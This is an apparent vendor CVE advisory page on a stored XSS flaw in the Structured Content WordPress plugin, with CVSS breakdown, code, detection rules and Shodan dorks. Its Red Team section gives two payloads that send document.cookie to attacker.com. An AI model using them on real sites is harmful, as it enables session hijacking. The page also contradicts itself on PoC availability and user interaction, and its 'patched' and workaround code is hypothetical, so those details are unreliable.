☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gordon böhme logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30918

CVE-2025-30918 Cross-Site Scripting in Gordon böhme
📅 PUBLISHED: 2025-03-27 11:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30918 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Structured Content by Gordon Böhme, affecting versions up to and including 1.6.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the WordPress database, which is then executed in the browsers of any user viewing the compromised content. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing high privileges required but low complexity and no user interaction for the stored payload. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. Given the plugin’s role in managing structured data (e.g., schema.org markup), the injected script can persist across page loads, affecting SEO and site integrity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should treat this as a supply chain risk: if the plugin is installed via the WordPress admin panel, automatic updates may not be available. Manual removal or disabling is recommended until a patch is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have at least Contributor-level access to the WordPress site.
  • User Interaction (UI): Required (R) – The victim must view the compromised page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability exists in the structured-content plugin’s handling of user-supplied input when creating or editing structured data (e.g., schema.org JSON-LD). The plugin fails to properly sanitize and escape input before storing it in the WordPress database and later rendering it in the page source. Specifically, the structured_content shortcode or custom post type meta fields allow HTML/JavaScript injection.

Attack Flow:

  1. An attacker with Contributor-level access creates a new post or edits an existing one.
  2. In the structured content meta box, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The plugin stores the payload in the wp_postmeta table without sanitization.
  4. When any user (including administrators) views the post, the plugin outputs the payload directly into the HTML, executing the script in the victim’s browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to the structured data output.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.6.3):

// In structured-content.php or similar
function render_structured_content($atts) {
    $content = get_post_meta(get_the_ID(), '_structured_content', true);
    // No sanitization before output
    echo '<div class="structured-content">' . $content . '</div>';
}

Patched Code (hypothetical):

function render_structured_content($atts) {
    $content = get_post_meta(get_the_ID(), '_structured_content', true);
    // Sanitize output
    echo '<div class="structured-content">' . esc_html($content) . '</div>';
}

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress site with Structured Content plugin <= 1.6.3.
  • Contributor-level account credentials.

Steps:

  1. Log in as a Contributor.
  2. Create a new post or edit an existing one.
  3. In the “Structured Content” meta box, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Publish or save the post.
  5. When an administrator or visitor views the post, the script executes, exfiltrating cookies.

Alternative Payload (for session hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection:

  • Monitor for posts containing <script> tags in meta fields.
  • Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.
  • Enable Content Security Policy (CSP) headers to block inline scripts.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_key = '_structured_content' AND meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

  • File: wp-content/plugins/structured-content/structured-content.php (version <= 1.6.3)
  • Database: Rows in wp_postmeta with meta_key = '_structured_content' containing <script> or <img onerror= patterns.
  • Network: Outbound requests to attacker-controlled domains from the WordPress server.
  • Logs: wp-admin POST requests to post.php with unusual meta values.

Detection Engineering

YARA Rule

rule CVE_2025_30918_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Structured Content plugin meta fields"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30918"
    strings:
        $meta_key = "_structured_content"
        $xss_payload1 = /<script[^>]*>.*<\/script>/is
        $xss_payload2 = /<img[^>]+onerror\s*=/is
        $xss_payload3 = /onload\s*=\s*["']?javascript:/is
    condition:
        $meta_key and ($xss_payload1 or $xss_payload2 or $xss_payload3)
}

Sigma Rule

title: Stored XSS via Structured Content Plugin
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts in WordPress Structured Content plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        cs-uri-query|contains: 'post='
        cs-request-body|contains: '_structured_content'
        cs-request-body|re: '<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in structured data (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30918 Stored XSS in Structured Content"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"_structured_content"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Remove any malicious posts containing XSS payloads from the database.
  3. Reset all user sessions to invalidate stolen cookies.

Long-Term Fix:

  • The vendor must release a patched version that sanitizes output with esc_html() or wp_kses_post().
  • Alternatively, replace the plugin with a maintained alternative (e.g., “Schema & Structured Data for WP & AMP”).

Workaround:

  • Add a custom filter to sanitize the meta field output:
    add_filter('the_content', function($content) {
        if (get_post_meta(get_the_ID(), '_structured_content', true)) {
            $content = esc_html(get_post_meta(get_the_ID(), '_structured_content', true));
        }
        return $content;
    });
    

Valters IT – Securing the digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Structured Content"
http.html:"structured-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30918/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.